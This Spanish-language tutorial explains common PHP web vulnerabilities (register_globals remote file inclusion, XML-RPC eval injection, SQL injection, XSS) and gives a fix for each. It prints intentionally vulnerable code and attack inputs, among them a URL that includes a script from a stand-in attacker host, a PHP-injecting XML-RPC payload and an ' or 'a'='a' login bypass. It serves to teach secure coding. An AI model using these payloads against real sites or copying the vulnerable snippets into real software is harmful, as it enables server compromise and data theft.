Seguridad en aplicaciones web

1. Ningún Lenguaje de programación puede prever código inseguro, aunque las características del lenguaje puedan ayudar a bloquear revelación de información confidencial Chris Shiflett
1. Este artículo hace referencia a los más comunes ataques sobre aplicaciones Web, principalmente ejemplificados en PHP. Cada uno de los ataques que se mencionan son parte de un estudio completo acerca de los temas. Es importante que los desarrolladores Web tengan en cuenta este tipo de ataques. Es importante señalar que existen más ataques, de los cuales no se habla puesto que exponemos solo las vulnerabilidades Web más comunes. Los conceptos también se aplican a cualquier lenguaje de programación. Los ataques explicados en este artículo son:
2. Ejecución de código remotamente
3. Inyección de código SQL (SQL inyection)
4. Cross Site Scripting (XSS)
5. La programación deficiente conduce a este tipo de ataques, por lo que le proporcionaremos algunas medidas de seguridad para prevenir vulnerabilidades futuras.
6. El artículo integra algunos de los puntos más relevantes encontrados en una gran cantidad de documentos y de artículos sobre vulnerabilidades comunes. El objetivo es proporcionar una descripción de estos problemas dentro de un artículo corto.

1. Vulnerabilidades

2. 1. Ejecución de código remotamente

   Como su nombre lo indica, esta vulnerabilidad permite al atacante ejecutar código en el servidor vulnerable y obtener información almacenada en él. Los errores de codificación impropios resultan de esta vulnerabilidad.
   A veces es difícil descubrir vulnerabilidades durante la puesta a prueba del sistema, pero tales problemas son a menudo revelados mientras se hace la revisión de código.
   Dos tipos de estas desesperantes vulnerabilidades son:

   1. Obteniendo ventaja de la configuración register_global

      
      

      register_globals es una configuración de PHP que controla la disponibilidad de las variables superglobales en un script php (Tales como información posteada de formularios (post), datos desde la url (get), o información traida de las cookies).
      En versiones anteriores de PHP, register_globals estaba definida en “On”, haciendo la vida de los desarrolladores más fácil. Pero esto inducía a una codificación menos segura y mayor posibilidad de ser explotada. Cuando register_globals está definida en “On” dentro del php.ini, esto permitiría a un usuario cualquier poder inicializar una variable remotamente. Muchas veces no es inicializado el parámetro que se utiliza para incluir archivos indeseados de un atacante, y este podría terminar en una ejecución arbitraria de archivos localizados local y remotamente.
      

      <?php 
              /*
              con register_globals = On, $archivo es lo mismo que
                      $_GET['archivo']
                      $_POST['archivo']
                      $_COOKIE['archivo']
              */
              require($archivo.".php");
      ?>

      Aquí el parámetro de $page no se inicializa si los register_globals se ponen en “On”, el servidor será vulnerable a la ejecución a distancia del código incluyendo cualquier archivo arbitrario en el parámetro $page.
      Ahora un ejemplo de cómo explotar esta vulnerabilidad:
      http://www.vulnsite.com/index.php?archivo=http://www.attacker.com/attack.txt
      De esta manera, el archivo http://www.attacker.com/attack.txt será incluido y ejecutado en el servidor. Es un ataque muy simple pero eficaz.

   2. Vulnerabilidades XMLRPC en PHP

      
      

      Otra vulnerabilidad bastante común en esta categoría incluye vulnerabilidades en el uso de XML-RPC
      XML-RPC es un protocolo de llamada a procedimiento remoto que usa XML para codificar las llamadas y HTTP como mecanismo de transporte.
      Es un protocolo muy simple ya que sólo define unos cuantos tipos de datos y comandos útiles, además de una descripción completa de corta extensión.
      Un común desperfecto está en los distintas implementaciones de XML-RPC en PHP pasando entradas de datos del usuario sin filtrar por la función eval() en el servidor XML-RPC. Esto permite al atacante ejecutar código, en el sistema vulnerable. Cualquier usuario con habilidad de subir XML manualmente al servidor puede insertar código PHP que puede ser ejecutado por la aplicación Web vulnerable.
      Ejemplo de código XML malicioso:
      

      <?xml version="1.0"?>
      <methodCall>
      <methodName>test.method</methodName>
              <params>
                      <param>
                      <value><name>','')); echo"Hola mundo! :P"; die();/*</name></value>
                      </param>
              </params>
      </methodCall>

      El anterior XML, cuando sea posteado al servidor vulnerable, hará que se muestre un mensaje de “Hola mundo” y se detenga la ejecución del script PHP.
   Medidas para solucionar el problema
   1. Las versiones recientes de PHP, por default traen register_globals en Off, sin embargo algunos usuarios cambian esta configuración para aplicaciones que lo requieren. Esta configuración puede ser definida en “On” o en “Off” en el archivo php.ini o un .htaccess. La variable deberá ser propiamente inicializada si el registro está definido en “On”.
   2. Se debe filtrar todas las entradas de datos del usuario antes de procesarlas. Hasta donde sea posible, tratar de no utilizar comandos de la shell. Sin embargo, si son requeridos, asegurarse que solo datos filtrados sean usados para construir la cadena a ser ejecutada.

3. Inyección de código SQL (SQL inyection)

   Es una vulnerabilidad de las Web, que afectan directamente a las bases de datos de una aplicación, El problema radica al filtrar erróneamente las variables utilizadas en parte de la página con código SQL.
   Una Inyección SQL consiste en insertar o inyectar código SQL malicioso dentro de código SQL, para alterar el funcionamiento normal y hacer que se ejecute el código “invasor” dentro del sistema.
   Ejemplo: Suponiendo, tenemos la siguiente consulta:
   

   SELECT * FROM usuarios WHERE user = 'administrador' AND password='$_POST['password']'

   Obviamente esperamos que $_POST['password'] contenga la contraseña del usuario, pero ¿Que pasaría si $_POST['password'] = ' or 'a'='a? Obtendríamos algo como lo siguiente:
   

   SELECT * FROM usuarios WHERE user = 'administrador' AND password='' OR 'a'='a'

   Un programa elaborado con descuido, puede ser vulnerable dejando la seguridad del sistema ciertamente comprometida. En el ejemplo anterior la validación de el campo password estaría quedando fuera con el OR 'a'='a' el cual siempre se cumplirá, permitiendo el acceso sin necesidad de la contraseña.
   Medidas para solucionar el problema
   

   1. Escapara todos los datos externos que serán introducidos en la consulta. PHP tiene funciones especiales: addslashes y mysql_real_escape_string.

4. Cross Site Scripting (XSS)

   Es el ataque basado en la explotación de vulnerabilidades del sistema de validación de HTML incrustado. El problema es que normalmente no se valida correctamente. Esta vulnerabilidad puede estar presente de forma directa (foros, mensajes de error) o indirecta (redirecciones, framesets). Cada una se trata de forma diferente.
   Un caso de ejemplo: Realizamos un formulario de búsqueda, y una vez el usuario haya insertado el término a buscar, mostramos el termino que buscó y la cantidad de resultados.
   

   <form action="buscar.php" method="get">
           Búsqueda <input type="text" name="q">
   </form>
   <?php echo "Hay ".$cantidad.” de resultados encontrados con su búsqueda ". $_GET['q']?>

   El ejemplo anterior, cuando suponiendo la búsqueda del termino "<script>alert(“xss”)</script>", una vez haya cargado la página nos aparecerá una ventana de alerta diciendo “xss” en vez de mostrarnos el texto tal cual lo escribimos. Esto se debe a que no filtramos los datos introducidos por el usuario.
   Para solucionar este problema utilizaremos la función htmlentities(), quien convierte los caracteres especiales en su entidad html por ejemplo el carácter < en &lt;, > en &gt;, etc.